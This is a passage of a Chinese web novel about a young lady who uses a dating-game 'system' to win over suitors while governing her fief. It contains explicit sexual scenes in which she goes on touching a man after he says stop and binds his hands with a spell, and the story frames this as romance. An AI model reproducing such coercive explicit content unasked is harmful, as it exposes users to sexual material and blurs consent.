“还在生气吗?”艾米过来的时候从床上拿了另外一只枕头,现在正好垫在膝盖下。 她跪在浴缸旁,伸手用力想把亚兰的身体转过来。 “我知道错了嘛——” 艾米愣在了原地。 她以为亚兰会委屈地眼圈红红,也可能会生气不肯理她,或者朝她发火。 但无论怎样,做好准备的艾米都打算应下了,她就是为了哄人来的。 可她没想到转过来的那张脸十分平静,漆黑的卷发垂下,又长又密的眼睫轻轻眨动,亚兰没有回避和她的对视,但轮到艾米看不懂、摸不透他的意思了。 她一直以好感度来判断可攻略对象的心情。 因为亚兰的好感度没变过,所以她并没有觉得他真的生气,甚至还想靠撒娇糊弄过去。 可眼下这个情况明显不在她做好的准备中。 “对不起”她闷闷地说,不敢再开玩笑。 亚兰没有说话,他蜷缩着坐在浴缸里,抿着唇绷紧漂亮的下颌线。虽然很不应该,但看到他这幅有些冷淡的模样,艾米有点心痒。 男人生气,睡一顿就好了嘛,睡完什么火气都会消的。 最起之前雷尔夫和布利斯都是这么攻略下来的。 艾米心底给自己找着借口,手已经伸到了毯子下。 “别别碰我。”亚兰皱眉,有些不悦地闷哼一声。 有过一次经验,艾米很清楚他的敏感点在哪里,几乎是下一秒,粉色就染透了这张白瓷般漂亮的脸。 “你不喜欢吗?”艾米仍然跪在地上,身体却向前靠近男人的耳朵:“你明明最喜欢的呀。” 她兴奋地感受着手心的变化,唇瓣故意撒娇地往他最敏感的锁骨上蹭:“我也很喜欢最喜欢你了” 亚兰的声音开始变得奇怪,他的呼吸加重,手无力地试图阻拦:“别这样” 紧接着,尚未说出的话就变成呻。吟溢出喉咙,像熟透的果子从枝头掉落,摔出满地甜腻的汁水。 因为愧疚和心虚,又或是补偿的心态,艾米比那天更努力。 她将在其他人那学到的经验用在了亚兰身上,几分钟就弄得他愈发地潮湿柔软、溃不成军。 “停停下” 艾米停了下来。 她仔细地观察着亚兰的表情,逐渐找回焦点的双眼像是正在从溺水中一点点抽离,黑色的卷发沾了汗水贴在他的额头,令他有种别样的美感。 他喘。息着想从致命 的快感中平复下来,试图撑着浴缸的边缘直起身子。 就在这时,艾米再次坏心眼地划过顶端,手里用力,看着亚兰再度仰起修长漂亮的脖颈,软软地又坐了下去。 “休息好了吗?”她凑到他的耳边:“休息好就继续吧?” 毯子被蹭得一片狼藉,亚兰像汁水尽数被揉掐出来的花瓣一样艳丽,他把头轻轻靠在浴缸的边缘,锁骨上涔涔的汗珠像碎钻一样璀璨。 艾米忍不住用手轻轻抹开他肌肤上细密的汗珠,体会到一种完全不同的满足感。 应当消气了吧? 她把头搭在旁边,努力靠近想看清亚兰长睫遮挡下的双眼。 “别生气了好吗?原谅我这次爽约吧?”艾米小声问。 亚兰的声音还未完全恢复,带着黏腻的喘。息:“没有生气。” 他扇了扇眼睫,避开艾米直白的目光:“不是你的错。” 艾米长舒一口气。 她怎么说着来着,男人嘛,爽完就会消气的。 【警告】 眼前忽然出现了红色的感叹号,这还是她第一次听到系统发出这么严肃的提示音。 和上次雷尔夫缓缓流淌出去的好感度不同,屏幕上,代表亚兰好感度的数字正断崖式地大幅跌落。 那数字一降再降,甚至几近谷底。 第59章 第59章回家了。 小姐和亚兰阁下正在冷战,并且直到离开泥巴湾前都未结束。 连罗莎都看出来了。 两个人并不是不说话。恰恰相反,这几天小姐还经常会拿着亚兰阁下的手稿去找他问一些罗莎根本听都听不懂的问题。 但她就是能看出来有什么氛围不一样了。 亚兰阁下倒是和往常一样沉默,只是这种沉默中透着对所有人的抗拒和冷漠。 之前他会在有其他人在场的时候不自觉地躲在小姐的身后,表现出对小姐的依赖和眷恋。 但现在不会了。 他把小姐也推到了自己筑起的墙壁之外。 艾米并不是没有发现这点,她只是对亚兰的情绪变化而感到困惑。 “你们的好感度统计出现了滞后。”她思来想去,只有这个原因能解释。 系统公事公办地回复:“经过自查后并未发现你提报的bug。” “那为什么一开始他那么生气的时候好感度都没有掉,反而后面不生气了反而好感度雪崩?” 系统:“涉及游戏攻略,请宿主自行探索。” 它给出了和上次一样的答案。 眼见系统这里拷问不出什么结果,艾米只好转头又去找亚兰。 可他总是绷着下颌躲避着自己的视线,半响才憋出一句:“我没生气。” 于是在经过徒劳无功的数次尝试之后,艾米也开始烦躁。 反正教育加成现在暂时也用不着,她忿忿不平地想,然后开始用工作来转移注意力,手段之激烈让卡特吓得半夜都不敢睡觉。 可很快,之前还挺有灵性的巴特抱着艾米交给他的文稿,扭扭捏捏地说后面的内容很难理解,好几处都看不懂。艾米无奈,只能提前用掉了那张【私人教学】的约会卡技能,将这部分知识灌入他的脑中。 不知道黑鼠使了什么办法,泥巴湾开始陆续有逃难的渔民回来,有兰斯带来的士兵在,巴特的管理工作并不难做。当然,最重要的原因还是艾米在这半个多月将泥泞里碍事的虫子揪出来挨个碾碎了,萧条和人少也有好处,最起码清理起来变得更容易了,她相信,待村里的碎石板路铺好,这里会变得更加干净。 巴特的哥哥和嫂子也回来了,他们都加入了建筑队,计划着攒一些工钱再买条新的渔船,尽管巴特极力劝说他们加入滩涂改造的项目中,但一辈子老实惯了的两人并不能接受这种新的东西。 对此艾米并不在意,她本来也是计划先进行小范围的尝试,待丰收节后再大规模的推行。那些长久生活在家乡的人大多是保守的,而愿意去外乡谋求出路的人才更有冲劲。 到了预计返程的日子,亚兰的好感度还是没什么变化。 巴特留在泥巴湾,和他一起留下的还有兰斯和大部分领主府的士兵,因此回去的人只有艾米、罗莎、莉亚、雷尔夫和亚兰,以及不到十个护卫队的人。 随着距离托利亚越来越近,艾米也忍不住一扫前几日的阴霾, 罗莎对小姐的领地很好奇,鉴于她哪有热闹就往哪蹭的性格,这还是她第一次来这么偏僻、既没有凶杀案、也几乎没有什么犯罪行为的小镇。 莉亚对此也同样惊讶:“迪斯港的码头每晚都有新的尸体被冲到岸边,运气好的话,还能抢在别人前面在尸体上翻到前人没搜刮干净的金币呢。” “你们会喜欢托利亚的。” 艾米笑着说道,她挽着缰绳朝前方的目的地远眺,生机勃勃的脸上露出令雷尔夫无限心动的柔软。 这就是他最想守护的珍宝,也是他追寻的想要为之拔出剑的意义。 前几天小姐和亚兰的冷战,雷尔夫当然也看得出来。 他本以为自己会乐于见到这一幕,但在留意到小姐脸上的沮丧后,雷尔夫有些后悔。 他承认,那天清晨他是故意的。他一直不喜欢那位亚兰阁下,尤其讨厌对方那双像受了什么天大的委屈一样的下垂眼。只是后续的发展并不在他的预料之中,他没想到这件小事会影响小姐的心情。 不过现在他们要回家了,小姐也终于肉眼可见地放松起来,周身散发着一股被阳光曝晒过的明媚的味道。 这样很好。雷尔夫单手握住腰间的剑柄,视线冷冷地扫过一路上沉默不语的亚兰。 在她的领地上,本就不应该有任何令她不愉快的人和事情存在。 第60章 第60章她好像突然就对自己失去…… 在领主府,艾米见到了一位即在意料之外又在情理之中的客人。 “领主小姐,很高兴我们又见面了。”米迦尔微笑着,用极温和的声音说。 他穿着圣职人员最常见的黑色长袍,衣料柔顺简单,没有什么额外的花纹和特别的设计,除了腰间皮带上黄铜质地的扣搭,就只有脖颈处那块材质挺括的白色硬领引人注目。 艾米穿过他的这身衣服,在互换身体的那二十四小时内。那块白色硬领边缘整齐如同利刃裁过,顶在喉咙处非常难受,这迫使她要时时刻刻抬起下巴,沙利希恩当时笑她抻着脖子的样子就像只扇着翅膀准备战斗的大鹅。 但米迦尔似乎并不会因为那领子而困扰,纯黑长袍上那块的洁白印记,反而让神官大人看起来更加可口。 艾米连忙甩了甩脑袋,努力把对客人不礼貌的念头从大脑中排空。 “托利亚终于迎来了神的垂怜。”她快步上前,微微欠身和米迦尔打了个招呼,然后转头就立刻询问起她最关心的问题:“光明神在上,请原谅我迫切地想要知道祂的旨意。” 神官大人的脸上勾勒出一如既往的微笑:“神并未听召降临,神降仪式失败了。” 艾米心底松了一口气。 尽管她在收到那封圣殿的回信时就大概猜到了,但还是得亲耳听到这个结果才能放下心来。 看来米迦尔听进了自己的建议,这次不是来杀她的,而是来替他的神看住她的。 “那真是令人遗憾。”领主小姐嘴角下撇,露出了一个自认为恰到好处的惋惜。 米迦尔盯着她注视片刻,视线有意无意地扫过她露在外面的脆弱的颈部,然后温和但丝毫不留情面地反驳道:“领主小姐看起来似乎并不是这么想的。” “怎么会呢。”艾米讪笑着,立刻心虚地转移了话题:“托利亚的教堂的修缮进度怎么样了?有什么我能帮您的吗?” 米迦尔微微一滞,眼中滑过一丝不被察觉的愕然。他玩味地勾起唇角,觉得眼下这对话很新鲜。 有什么我能帮您的吗? 在圣殿或是任何有神的信徒所在的地方,他常常对着无数迷茫的、祈求着的脸庞,轻轻说出这句话。 而现在,面前的这位领主小姐,却反过来问他有什么需要帮助的事情。 这实在太有趣了。 米迦尔了然垂眸,他自认为找到了艾米对神态度轻浮的原因——她没有向神寻求帮助的经历,也没有见过神迹,自然无法虔诚。 “谢谢您,小姐。但我想,事情已经处理得差不多了。”神官大人的语气温柔服帖:“我这次拜访就是想告诉您,教堂明天就会对外开放,本周日的早上,会举办第一次圣契礼拜。” 艾米抬眼,她似乎才从他勾人的喉结移开目光。 “圣契 礼拜?” “抱歉,我应该解释得更清楚些。圣契礼拜是教堂在每周日的常规活动,信徒可以有这么一个地方聚集在一起,祈祷和读经。” 米迦尔边说边留意着艾米的神色,她直勾勾地盯着自己,目光看上去并不算礼貌。 这种奇怪的视线令他有些许不适。 “那么,如果没有别的事情”米迦尔起身,准备告退。 “神官大人。”艾米打断他的话:“不介意的话,我送你回去吧?” 她放下手中的茶杯,跟着一同站了起来:“你是客人,我理应为你介绍一下这里才对。” 米迦尔看到艾米露出小巧可爱的贝齿,就像春日破冰的湖面忽然漾开。 他笑了。 和刚才礼貌性的微笑不同,神官大人眼角压下的弧度像新月一样弯得过了头。 “十分乐意。领主小姐,这是我的荣幸。”- 领主府和教堂之间隔着并不近,不过这个只有几百人的小镇面积小得可怜,即便是从南到北也只需要二十分钟就能走完全程。 米迦尔只花了几天就将这个小镇常出现在街面上的大部分居民认了全,但跟在艾米的身旁,他还是感受到了比前几日更多的热情,所有人都在和领主小姐打招呼,在此之外才会顺带对他礼貌地笑笑。 杂货店的老查克坐在门口的藤椅上,正在日头下清理他心爱的樱桃木烟斗,手中的刮刀正在清理内壁残留的油垢,膝盖上还放着一块用来擦拭的鹿皮布。看到领主小姐路过时,他眯了眯眼睛,乐呵呵地和她打着招呼。 “艾米小姐,有一阵子没见到您了。” 他的孙女艾琳听到爷爷的声音后,急促地从高大的橡木柜台后钻出脑袋,像小鸟一样脆生生地高喊:“艾米小姐!请您留步!” 艾米停了下来,听到杂货店里传来叮叮当当铁皮罐撞到一起的声音。 不一会,艾琳蹬蹬噔地跑了出来,手里还拎着一只藤编的小篮子:“小姐——” 她的视线在看到米迦尔时微微一滞,而后有点不自然地从台阶上跳下来:“这是樱桃果酱,做好后早就想给您送过去,但是这段时间怎么也碰不到您。” 艾米笑着接过来:“谢谢你,艾琳,最近怎么样?” “一切都好,就是院子里的樱桃树像疯了一样结了满树的果子,我们一家人怎么吃也吃不完,所以多出来的都做了果酱。”小姑娘神采飞扬,叽叽喳喳地说个没完。 “哥哥说要在院子里再栽一棵杏树,但是等到结果还要三四年,我觉得还是栽几颗草莓好,但他说草莓又酸又涩,我们俩一直在为这个事情吵架” “你们可以都种上。”艾米没有丝毫不耐烦。她又露出了洁白的贝齿,眨了眨眼睛神秘地说:“我总预感,今年可能是个丰收年哦。” “真的吗?”艾琳兴冲冲地问。 藤椅上的老查克往旁边的石阶上倒着磕了磕烟斗里的残渣:“好了,艾琳,别缠着领主小姐了,她还有客人呢。” “那您慢走。”艾琳这才意识到自己的行为不妥,有些害羞地往后退了两步:“我就不打扰您了。” 自始至终,她都没有对米迦尔表现出好奇,而艾米也没有任何要介绍他的意思。米迦尔察觉到一种被刻意当成“客人”对待的微妙疏离,以及其中夹杂着若有若无的抗拒和敌意。 两人继续朝教堂的方向走去,一路上,她小小的篮子里被塞满了各种各样的礼物。 直到路过药剂师贝尔的门店时,艾米才第一次主动停下脚步,带着米迦尔走进这间深褐色门头的店面。 高大的木质货架被分割成无数个小格子,形形色色的罐子和木盒摆放在其中。布满划痕的胡桃木桌柜后,是个身穿黑袍身形削瘦的中年男子。他正握着羽毛笔,对着一张摊开的泛黄牛皮纸写写画画。 “这是药剂师贝尔,神官大人,看来您以后会抢他的饭碗了。”领主小姐向他介绍道,还顺便开了个玩笑。 “光明法术也并非无所不能的。”米迦尔谦虚地说。 艾米笑了笑,从口袋里掏出几枚铜币放在柜台上,对贝尔说道:“两副薄荷汤剂,还要一些薰衣草干果。晚点帮我送到领主府吧?” “这位就是前几天新来的神官大人吧?”贝尔伸手把钱划到桌子下,好奇地问道。 “是,我正在为神官大人介绍这里。”艾米没什么架子地站着和他聊了起来:“下次有你治不了的病人,就把他们介绍到教堂去吧?他可是一位很厉害的光明法师呢!” “那是当然。我们托利亚也终于有光明法师了。”贝尔语气轻快地点了点头:“汤剂我晚点会叫儿子送过去的,您就先去忙别的吧!” 短短十几分钟的路程,两人就这么走走停停花了快一个小时才到。 教堂坐落在广场附近,这里刚刚翻修过,青灰色的石板整齐且紧密地排列着,在阳光的照耀下泛着温润的淡淡光泽。 米迦尔想起在王城时,他也曾这么送艾米回家过。在那段路程里,她展现了充沛的好奇心,问了许多问题,包括他在进入圣殿之前的童年往事。 但这次,她几乎什么都没问,一路上一直在和其他人攀谈,或者就算偶尔聊两句也总是浅浅的,撩拨一般在水面轻点,迟迟不肯将指节没入其中。 就好像她突然对自己失去了兴趣。 “艾米小姐。”米迦尔终于在对方提出告退后忍不住开口拦住她:“教堂开放后的第一次礼拜,你会来参加吗?” “抱歉。”她不假思索地直接拒绝了他,语气礼貌但疏离:“我刚刚回来,还有太多的事情要做。” 也许是错觉。 米迦尔开始觉得艾米像一条滑溜溜的小蛇。离开王城之后,她蜕掉了一层温和无害、具有迷惑性的外皮,朝他露出柔软滑嫩却散发着危险光泽的鳞片。 疏离、警戒、抗拒、敌意在圣殿的地宫里,她在面对自己直白不加掩饰的杀意时也未曾这么紧绷过。 这是她真实的那层芯吗?还是说,这也是她伪装的手段之一? 米迦尔感觉奇异的兴奋再度在血管里沸腾。 ——这种未知的危险,对他来说,简直和一场诱人的邀请无异- 亚兰的房间在领主府顶楼的走廊尽头。 这是间翻修后的套房,从书房到浴室应有尽有,几乎比艾米自己的房间还要宽敞。之所以长期荒废,是因为在找洛克公爵“借”金币之前,顶楼还常常漏雨。 现在,这层楼只有亚兰一个人住。偶尔清晨推开窗户时,他能透过庭院的椴树圆锥形的叶片看到笼罩着整个小镇的淡金色晨光,到了夜晚,月光透过窗格撒在桌台,周围安静得就像行驶在无边的大海之上。 这是他梦寐以求的生活。 静谧,悠然,几乎没有任何人会来打扰他,除此之外,他还有一张铺着天鹅绒床垫的柔软四柱床。 在这种一成不变的日程中,亚兰感觉生活的舵重新回到了自己的手上,一切看似和在学塔没有什么不同。 除了。 除了每晚在浴室里,他会在热水的包裹下做之前艾米手把手教他的事情。 回忆起对方兴奋的目光,甜腻腻的呢喃,他就觉得浑身颤抖,热气腾腾。而当紫薇结束的时候,他又无法抑制地生出巨大的恐慌。 他感觉自己正陷在沼泽中,越挣扎下坠得越快。 水温渐凉,亚兰起身擦拭,并抽过一旁的外袍披上。 湿漉漉的头发顺着脖子洇湿领口,他用手指伸进发尾,边朝外走边抖落上面的水珠。 就在他在沙发上刚刚坐下的时候,一道白光猝然袭来,将他的双手牢牢固定在脑后。 “无论什么时候,都不可以躲着我,无论是什么样的心情,都必须要告诉我” 湿哒哒的头发还停留在指缝间,亚兰听到熟悉的声音从他的背后传来。 “难道只有我记得你当时答应过我的这件事吗?” 声音的主人走到他的面前,直接跨坐在他的腿上。 亚兰呼吸险些停滞。 他撇过头去,拒绝看她。 但艾米不给他这个机会,她捏着他的下巴让他转过来,而被捆住双手的亚兰无法做任何抵抗。 “好了。告诉我吧,为什么又要躲我?” 头发还在往下滴水,亚兰感觉胸口潮湿得就像一场连绵未停的雨。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 第61章(已修结尾)要来…使用…… 亚兰洗完澡后只穿了一件外袍,被固定在沙发上后,腰间的束带松散,领口像邀请一样敞开着。 艾米只能尽量把注意力集中在他的脸上。 她岔开腿跪坐在他的膝盖上,近距离的接触让两个人都有点呼吸不畅。 在恶狠狠地放过狠话之后,艾米闻到亚兰身上沐浴露的香气和潮热的水气,她仍然捏着他的下巴,但拇指却忍不住在肌肤上摩挲。 亚兰轻轻甩了甩头想要挣脱,他发尾的水珠飞溅,在胸口晕开星星点点的湿润。 “我不明白。”艾米深深叹气:“明明你也很喜欢,为什么要躲呢?” 亚兰涨红了脸,胸口因为生气而上下起伏。他不知道艾米是真的不懂还是仅仅只是在装傻,因此紧紧盯着面前的这张脸,试图从中找到答案。 半响后,一无所获的他颓然且痛苦地向后靠去。 艾米急了,身体前倾贴得更近:“生气之前,你总要告诉我原因吧?” 她恨系统为什么不上架什么吐真剂之类的道具,难道恋爱游戏就一定要看不张嘴的男人闹别扭才行? 被捆住手腕的亚兰带着几分愠意张口:“你这么在乎我生不生气?” “那当然。”艾米奇怪地回答。 “领主大人。”亚兰唇线绷紧,像一只处在应激状态下、随时准备哈气的猫:“无论我生不生气,你不是一样可以——随心所欲地使用我吗?” 他语气生硬,几乎是咬牙切齿地发泄着:“只要你想,你就能随时随地进来这间屋子。难道这样对你来说还不够吗?你还要想要什么?想要我的配合,想要我装作看不到你那颗空荡荡的心,想要我每天疯了一样在房间等着你的抚摸,是吗?” “小姐,这可不是学士需要为领主提供的服务!” 艾米没想到会从对方的口中听到这样几乎称得上是粗俗的话。 她被吓到了,身体僵直,愣在原地。 “对,我是下贱。”亚兰的声音发抖,像是在极力隐忍着什么:“我闻到你的味道就会兴奋,你的手摸过来我就会腿软,你想听这个是吗?那天我知道是雷尔夫在你的房间里过夜,你只是想用那招来掩饰你拙劣的爽约的借口,这些我都知道但即使我知道你是故意的,我也无法对你说不。” 艾米喃喃地想为自己解释:“抱歉,我只是想让你开心点你不喜欢吗” “喜欢,我当然喜欢。” 他又哭了,滚烫的泪水顺着脸颊滑落到胸口时已经变得冰冷:“你靠得太近了,我现在又硬了,你想怎么办?反正我的手已经被你绑起来了,我连逃都逃不了,你现在要坐上来吗?还是你想像上次那样玩?” 艾米慌乱地后退站了起来,然后手忙脚乱地收回了捆绑术。 “对对不起” 她第一次不是因为好感度波动,而单纯因为对方的情绪变化而着急。她想说点什么,但那些在进入这间房间前想好的话在此刻都变成了梗在胸口的刺。 她没办法在这样直白剖开自己的亚兰面前将哪些虚假的哄骗说出口。 “这就是我生气的原因。”亚兰的声音逐渐平稳,但因为激动而泛红的脸颊却尚未平复:“你想知道的,我已经告诉你了。” 此刻,外袍敞开大半的他慵懒地背靠在沙发上,晦暗不明地低头揉捏着刚才被捆住的手腕,配上他那黑色的湿漉漉卷发,就像水里的妖精一样美丽诱人。 艾米视线扫过他的下身,那里如他所说的正在兴奋着。 她一时不知道该怎么办才好 她要去“使用”他吗? “要来用一用吗?” 听到声音的刹那,艾米还以为是自己的幻觉。 看到她无措的表情,亚兰忽然无可奈何地笑了。 他坐起身去拉她的手腕,把人重新带到自己的怀里,自暴自弃般垂下脑袋:“该说对不起的人是我。” “我没有资格生气。”他声音低落,像是水妖的喟叹:“最起码现在没有。” 这让艾米有点说不出的悲伤,按照她本来的计划,今晚不应该是这个走向。 不,应该说,她预想到了激烈的争吵、湿漉漉的泪水、以及现在这个姿势和可能会有的后续。 但不应该是这个走向。 “我听说你有一个未婚夫。”亚兰裹着她的手缓缓地放在炽热滚烫的地方:“他来自一个古老的家族。” 他手上还在纾解着,却忽然开始为艾米介绍她未婚夫的家族史:“你读过《布佛里托:王国的宝石》这本书是吗?我在你的书房见过你留下的笔记,这本书的作者同样来自这个家族,他是哈卡兹家派送的学士——” 他语气平缓,只是偶尔因为情动而发出难以抑制的闷哼。这让艾米一方面觉得非常荒谬,又会因为他性感的喘。息而耳根发热。 “实际上,哈卡兹家是现在三大家族中最年轻的那个。在维特尔斯家统一河谷登上王位的时候,南境还处于半蛮夷的状态,彼时北境有着数个有名的家族,当然也包括现在北境大公迪特克所在的别斯霍拉家。” “异族喜欢生活在更温暖的南境,那里的人类很少,所以没有什么有底蕴的家族。” “停慢点——让我缓一下拜托。” 亚兰揽着艾米的腰,头无力地靠在她的颈窝,头发打湿了她的前襟。 “直到嗯直到三百年前,布佛里托出现了第一个曜石矿”他休息片刻,又继续断续地说:“最早可追溯到南境最传奇的骗子‘哈克’,据说他没有一枚金币,仅仅靠在南境数个商人之间游说,骗来了第一桶金,投进了矿产开采之中。那时没多少人知道这种黑色宝石的价值,他从北境招募了一批矿工,形成了自己的势力。” “再后来再后来,矿工越来越多其他家族逐渐发现,不知什么时候,哈克有了一支比他们所拥有的所有士兵还要多的矿工队伍。” “骗子哈克用化用了自己的名字作为姓,他的孩子们成了现在的哈卡兹家族的第一代成员。” “哈卡兹家很有钱你应该已经知道了。但除此之外,他们家族的成员大部分都很英俊美丽” 亚兰语速放缓,手上却加快了速度。 “那位传奇的骗子‘哈克’就非常英俊,这也是他能行骗的重要原因良好的基因和巨大的财富他的孩子们很难丑陋或者说,在南境所有贵族中,哈卡兹家的成员好看得甚至有些突出我想你应该最关心这个对吗?” 艾米终于忍不住捂住了他的嘴,面红耳赤地低声道:“别说了。” 亚兰柔滑温热的舌头舔过她的掌心和指缝,他抽出手,换了个更温暖湿润的地方。 “你不想听你未婚夫家族的故事了吗?还是你现在更想要我做点别的?” 艾米说不出话来。 但亚兰不肯放过她。 “相较于北境南境的贵族们,更加开放些。这是气候和各种历史原因共同作用的结果。但即使这样,恐怕也没有哪位贵族,能忍受自己的妻子有这么多”他停顿了片刻,似乎在思考要怎么措辞:“小玩具。” “等到那个时候,你就会把我丢掉了,是吗?” “不会的。”艾米快喘不上气了:“我不会和他结婚的。” 她紧紧环住亚兰的脖子,湿发扫过她的手臂:“这里是我的家我不会,也不可能抛下我的领地,抛下你” 男人把脸埋在她的颈窝,闷闷地说:“如果你愿意在每次使用我之前对我说这样的话,即使是谎言,我也会觉得幸福的。” “不是谎言。” 艾米整晚都没再关注【好感度】的数字变化,她只靠观察他的表情来判断他的心情。 “你又哭了吗?”她调整坐姿,掰过亚兰的肩膀,小心地擦拭他脸颊的泪水。 热水一样的滚烫,烧灼着她的手心。 “对不起。”艾米感觉自己的胸口也钝钝的,像夏天的雷雨未落下前的沉闷。 “不是你的错。”亚兰垂眸避开她的视线,说了和那天在浴缸里一模一样的话。 艾米定定地看了他一会。 然后深吸一口气,用力抱住了他。 “是我的错。” 是我主动撩拨的你。 “对不起。” 我必须要让你爱上我。 艾米喃喃地道着歉,不知为何,她感觉自己眼眶也有点湿润。 明明她只是这场游戏的玩家而已,为什么也会有想要流泪的冲动? 第62章 第62章她忙得完全忘记了这件事…… 亚兰的角色立绘边框也变成了金色。 屏幕上显示,他的好感度达到了90,而艾米也终于搞明白了突破85点的关键。 “是我的回应,更准确的说,是我的心动,对吗?”她问。 系统终于没再用什么“请自行探索”之类的自动回复来敷衍,而是认真地说:“宿主,我们是一款恋爱游戏。所以,是的。” “恋爱可不是一个人就能谈的,只有当你也被打动后,好感度才会继续上升。” 瞧,原来谜底就在谜面上。 艾米沉默。 她忽然觉得这游戏不好玩了。 “什么破游戏。”她关掉了屏幕,提出了抗议:“我是可以努力刷可攻略对象的好感度,但是我怎么能控制我自己能不能心动啊?” 系统:“我们对可攻略对象的外貌和身体数值非常自信。” “那如果我就是对某个人没有感觉,岂不是好感度就一直只能卡在85上不去?” 系统:“根据我们选中你时的数据显示,你号称推过的男人高达三十二个,其中光是同一时间就有足足八个。所以,这应该不难。” 艾米: 算了,跟它有什么好争的,她还有多的要忙的事呢。 兰斯带着大部分的士兵留在了泥巴湾,那里比托利亚更需要人手。因此回家后,艾米的第一件事就是组建新的卫兵队,还好有雷尔夫和罗莎可以来做这件事。 有一天清晨,艾米听到不远处山坡传来士兵新兵的声音,再次萌发了要创办学校的念头。 艾米准备先从领主府的仆人们开始试点,还拜托亚兰帮她编纂一本通俗简单的识字教材。 她本以为亚兰这种天才应当很难理解“简单”这个需求,可没想到他仅仅用了三天时间,就根据《语法术》和《词源》两本大部头,结合北境流传度最高的《聪明洛里斯故事集》,完成了一本深入浅出的识字教材。 艾米简单翻了一遍,他选择的词语和句式都极具代表性,内容简单明了,讲解注释清晰,就连只经过半个多月识字训练的莉亚都可以看得明白。 很快,领主府的几个年轻女仆以及女仆长黛碧就成了这本教材的第一批学生。 她们的工钱不变,但工作时长减半,空余出来的时间上课学习写字,由古德先生亲自教学。等第一期学员毕业,她们就能承担起教学的任务,继续把识字班办下去。 虽说扫盲是艾米一直想做的事,但如此着急地推行,则是因为教堂的重新开放。 在这个时代,教堂和圣殿几乎承担了大部分平民的精神教化工作,其中就包括识字这一项。读书是奢侈的贵族行径,平民唯一能接触到的书只有《三圣经》,而唯一能识字的地方就是教堂每周日的圣契礼拜,在那里,神官会边念经文边为信徒们讲解其中的含义。 第一本书的选择很重要。 如果第一本识字书是《聪明洛里斯故事集》的话,读书的人可能会收获善良勇敢聪明这类世俗价值观下的美好品德;而如果第一本书是《三圣经》的话,他们就很大可能先一步成为一名虔诚的信徒。 这是艾米不能接受的。 她不得不提防宗教对人潜移默化的影响,而首先要掐断的,就是教堂的教学功能。 托利亚从砂砾之城变成今天这幅欣欣向荣的模样,靠的可从来不是什么“神迹”。如果不是要攻略米迦尔——或者说,如果不是为了煤炭,艾米根本不会向中央圣殿写信申请一位新的神官。 这是她拒绝参加圣契礼拜的主要原因。 可从另一个方面来说,她也确实太忙了,这个借口倒是没有半分虚假。 扩充卫兵队、筹办识字班、每天回巴特的来信跟进第一批鱼苗的近况信件纷沓而至,又像雪花般飘走,等她将这段时间积压的工作处理完,北境的风都带上了暖意。 初夏到了。 推开窗棂,清晨的微风拂面,空气中裹挟着青草的芬芳。艾米站在书房朝楼下院子望去,雷尔夫穿着米白色的亚麻衬衫,正在和古德先生说些什么。 他带着野兽般的敏锐抬头,然后在看到窗边熟悉的身影时眼睛一亮,嘴角不受控制地上扬,笑得像一颗蜜桃薄荷糖,甜蜜又清爽,入口的第一瞬间就能扫清所有困意。 女仆长黛碧敲响了房门。 在她学会识字之前,除了打扫甚少踏进这里,甚至连打扫时,她都会因为担心分不清手稿和废纸而给小姐造成麻烦。 但现在,小姐经常将她叫到书房谈事情,不仅给她涨了一大笔薪水,还笑着给她封了个什么新的‘人资总管’的名号。 前段时间,小姐提出要招聘一批新人。 在领主府工作十几年,这事情对她来说并不难。实际上,由于小姐不喜欢被人服侍,所以城堡里的仆人数量并不多,对于大部分小镇居民来说,能来这里工作是极大的殊荣。 “那么,您是需要新的女仆吗?”黛碧问。 “女仆、男仆、厨师、裁缝全都要,我要举办宴会和舞会,需要很多人手。”小姐说。 这是黛碧第一次收到这样的任务,作为女仆长,在领主府的十几年,她还没办过任何一场宴会。 这让她既紧张又兴奋。 这次,黛碧正是来汇报招聘情况的。 “根据您的要求,这是首批人员的名单。”黛碧很感激小姐给了自己学习识字的机会,当她第一次自己亲自写下这些名字,而不是拜托管家古德先生时,得意和满足的感觉前所未 有。 艾米翻开名单,尽管黛碧的字算不上优雅,但是一笔一划非常规整清晰。 上面的名字她几乎全都认识,偶尔有几个不熟悉的,在女仆长提醒后,也很快记起是哪家的孩子。 “他们现在正在接受培训,很快就能开始工作。只是”黛碧犹豫片刻说:“只是现在领主府实在没这么多活给他们做,还要花钱付他们的薪水。” “钱的事情你不用担心。”艾米合上名单,她粗略扫过一遍,并没有提出任何异议。 “培训时间可以再拉长一些,把识字课也加进去。至于活当然是有的,你可以开始筹备第一次宴会了。” 黛碧听说贵族小姐举办宴会算是社交场合最重要的事情,因此很担心自己搞砸了,她忧心忡忡地问:“小姐,您是准备邀请哪些人呢?” 艾米沉吟:“第一次的话,我想还是不要太多人比较好” 黛碧忍不住赞同,她时刻紧张自己第一次搞砸了让小姐出丑。 “那么,就先邀请在领主府工作仆从的家人们吧。” “什么?”黛碧目瞪口呆:“您不是要邀请一些与您交好的贵族小姐吗?” 艾米笑着说:“那恐怕支撑不了一场宴会的人数。” 黛碧仍然无法将‘宴会’和‘仆从的家人们’联系在一起。 在她看来,宴会是只有贵族们才能参加的活动,难道说,他们这些平民,也要在大厅的水晶灯下喝酒和跳舞吗?光是想到那个画面,她就忍不住胆战心惊了。 “小姐。”她忍不住劝阻:“他们中的很多人的父亲是酒鬼,母亲是农妇,兄弟姐妹们也做着种地之类的活计出现在宴会上并不体面。” “你以为贵族老爷们就不会喝多了然后发疯吗?或者你以为他们的聚会只有音乐和低语而没有争吵吗?”艾米说:“再说了,这只是一次尝试,从寄出邀请函就开始了。你不是一直担心会让我出丑吗?虽然我并不觉得接待时忘记某些细枝末节的贵族礼仪有什么可丢人的,但既然你这么紧张,不如先来一次彩排。” 黛碧有点不好意思:“您看出来了?” “是。”艾米笑眯眯地说:“大胆去做就行了。另外,你也可以趁机留意一些聪明的孩子,你以后只会越来越忙的,像我一样多为自己找一些帮手吧?” 黛碧按捺住紧张之下的小小兴奋,用力点头。 她感觉自己在做的事情,就像一位“总管大人”,而现在,她甚至要开始筹备一场宴会! 处理完这件事后,古德先生带着托利亚春天的账目本进来了。 修路、修房子、扩充卫兵队都花了不少钱,就算从洛克公爵那薅的羊毛还有许多,艾米觉得也需要尽快增加新的进项了。 尤其是她减免了领地三年的赋税,也就是说,对于大部分领主来说最重要的一笔收入没了。 “我们需要为多余的粮食找到合适的买家。”艾米看完后说。 “多余的粮食?”古德先生并不知道农业加成的事情,自然无法理解艾米的想法。 托利亚的土地如此贫瘠,今年只是短暂地产量增加,应该先存下为后面的灾害年份做好准备才行。 